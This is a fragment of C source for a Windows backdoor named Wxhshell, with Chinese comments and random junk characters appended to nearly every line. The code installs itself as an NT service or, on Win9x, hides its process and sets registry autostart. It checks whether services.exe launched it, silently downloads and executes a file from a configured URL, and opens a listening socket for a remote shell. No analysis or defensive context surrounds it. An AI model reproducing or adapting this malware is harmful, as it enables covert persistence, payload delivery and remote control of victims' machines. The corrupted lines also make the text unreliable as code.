ULONG InheritedFromUniqueProcessId; =5:vKL j
} PROCESS_BASIC_INFORMATION; d*!H&1L
I9TNUZq('
PROCNTQSIP NtQueryInformationProcess; _2k<MiqCD[
GDj_+G;tO\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yyPj!<.MGP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p-C{$5&
O1
h1)+QLI
HANDLE hProcess; +vFqHfmP
PROCESS_BASIC_INFORMATION pbi;
-vT$UP
E=v4|/['N
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ABEEJQ
if(NULL == hInst ) return 0; 9~,!+#
i(u zb<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a"+/fC`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CE183l\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uPFbKSJj
48gpXcc@|
if (!NtQueryInformationProcess) return 0; z:n
JN%Qb
R]kH$0`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uxrNkZia
if(!hProcess) return 0; _#<l -R`
v@X[0J_8
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G4F~V't
hHt.No
CloseHandle(hProcess); 6{Bvl[mhI
"|
oW6@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); esTK4z]
if(hProcess==NULL) return 0; e?aSM
a`||ePb|W~
HMODULE hMod; y9:o];/
char procName[255]; "Q23s"
unsigned long cbNeeded; 0Oq5;5
m[5ed1+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lKirc2
UR`pZ.U?
CloseHandle(hProcess); L'BzefU;04
TI'~K}Te
if(strstr(procName,"services")) return 1; // 以服务启动 $EG<LmC-Q
_i"[m(ABj1
return 0; // 注册表启动 .|ZnU]~T
} 6Hpj&Qm
. Vq_O
u
// 主模块 $L"-JNS
int StartWxhshell(LPSTR lpCmdLine) piUfvw
{ <>1*1%m
SOCKET wsl; ~m'8BK
BOOL val=TRUE; 3~0Xe
int port=0; 4p&SlJ
struct sockaddr_in door; nYY' hjZ
MU_
>+Wnf
if(wscfg.ws_autoins) Install(); b~G|Bhxa
,wra f#UdP
port=atoi(lpCmdLine); 0xutG/-&N
64!V8&Ay
if(port<=0) port=wscfg.ws_port; !91<K{#A{
]_)=xF19
WSADATA data; HPWjNwM
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PJcz] <
#`Et{6WS
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; YwM;G
g3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E?f*Z{~,
door.sin_family = AF_INET; M7lMOG(\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @l2AL9z$m>
door.sin_port = htons(port); "2/VDB4!FG
1<9m^9_ro
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -Kf'02
closesocket(wsl); Fx*IeIs(:~
return 1; 785Y*.p
} Y6@A@VJ
5h(]S[Zf3
if(listen(wsl,2) == INVALID_SOCKET) { w3IU'(|G
closesocket(wsl); gs|%3k |
return 1; cXokq
} -1u N
Z{0
Wxhshell(wsl); Z.0^:rVp~
WSACleanup(); >G+?X+9
*SZ*S%oS3
return 0; 6{I5 23g
ZGOI8M]@
} aKCXV[PO
A&0sD}I\K
// 以NT服务方式启动 Uz!cVs?-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7,"1%^tU
{ xF{<-b
DWORD status = 0; =M9Od7\J
DWORD specificError = 0xfffffff; ex2*oqAdX
Ih95&HsdC
serviceStatus.dwServiceType = SERVICE_WIN32; c~Hq.K$d
serviceStatus.dwCurrentState = SERVICE_START_PENDING; LNU9M>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V#6`PD6
serviceStatus.dwWin32ExitCode = 0; = %7:[#n
serviceStatus.dwServiceSpecificExitCode = 0; "|"bo5M:
serviceStatus.dwCheckPoint = 0; F;&'C$%
serviceStatus.dwWaitHint = 0; WYE[H9x1?
Im_`q\i
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MgLz:2
:F
if (hServiceStatusHandle==0) return; CLD*\)QD\
HgX4RSU
status = GetLastError(); yHoj:f$$x
if (status!=NO_ERROR) uEuK1f`
{ 'm"H*f
serviceStatus.dwCurrentState = SERVICE_STOPPED; !-4pr[C
serviceStatus.dwCheckPoint = 0; C`x>)wm:
serviceStatus.dwWaitHint = 0; 7b T5-=.
serviceStatus.dwWin32ExitCode = status; m5LP~Gb
serviceStatus.dwServiceSpecificExitCode = specificError; 'bg%9}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nyPA`)5F0
return; B)"WG7W E
} gGdZ}9
S*CRVs
serviceStatus.dwCurrentState = SERVICE_RUNNING; o*QhoDjc
serviceStatus.dwCheckPoint = 0; ^f1}:g
serviceStatus.dwWaitHint = 0; @*l}2W
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Oox5${#^
} ?
B^*YCo7(
4 ITSDx
// 处理NT服务事件,比如:启动、停止 15gI-Qb
VOID WINAPI NTServiceHandler(DWORD fdwControl) JWrvAM$O
{ +B'9!t4 2
switch(fdwControl) F:M3^I
{ hD l+
case SERVICE_CONTROL_STOP:
*Qg/W?"m
serviceStatus.dwWin32ExitCode = 0; ]}G(@9
serviceStatus.dwCurrentState = SERVICE_STOPPED; }EOn=*
serviceStatus.dwCheckPoint = 0; +;z4.C{gM
serviceStatus.dwWaitHint = 0; 4aZsz,=
{ e}}xZ%$4|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n|L.dBAs]
} obX|8hTL%
return; _&JlE$ua7
case SERVICE_CONTROL_PAUSE: Ty]CdyL$
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5NeEDY2%#
break; }`
case SERVICE_CONTROL_CONTINUE: AC(}cMM+
serviceStatus.dwCurrentState = SERVICE_RUNNING; s6). ?oE
break; \"PlM!0du
case SERVICE_CONTROL_INTERROGATE: ;mo}$^49*
break; L1"X`Pz[}
}; P5vM y'1X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ef$xum{
} -acW[$t
Jb {m
// 标准应用程序主函数 r0j:ll d
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *RM#F!A
{ K |Yr
m&|?mTo>m
// 获取操作系统版本 Q.6pmaXrb
OsIsNt=GetOsVer(); Ctt{j'-[
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1p9f& w
'(u [
// 从命令行安装 *Xl&N- 04
if(strpbrk(lpCmdLine,"iI")) Install(); F=^vu7rf
zYSXG-k
// 下载执行文件 haa[ob6T
if(wscfg.ws_downexe) { Vv=d*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?~S\^4]
WinExec(wscfg.ws_filenam,SW_HIDE); kRE^G*?
} UXa3>q>
(g~&$&pa
if(!OsIsNt) { FJ>| l#nO
// 如果时win9x,隐藏进程并且设置为注册表启动 m=NX;t
HideProc(); yNY1g?E
StartWxhshell(lpCmdLine); 0R*
} S]{K^Q),
else 18ci-W#p
if(StartFromService()) ybf`7KEP2A
// 以服务方式启动 GXRK+RHuBi
StartServiceCtrlDispatcher(DispatchTable); =`vUWONn
else &sWq SS
// 普通方式启动 U#,2et6
StartWxhshell(lpCmdLine); {n%F^ky+7
XRj<2U5
return 0; se$GE:hC1Q
} i':<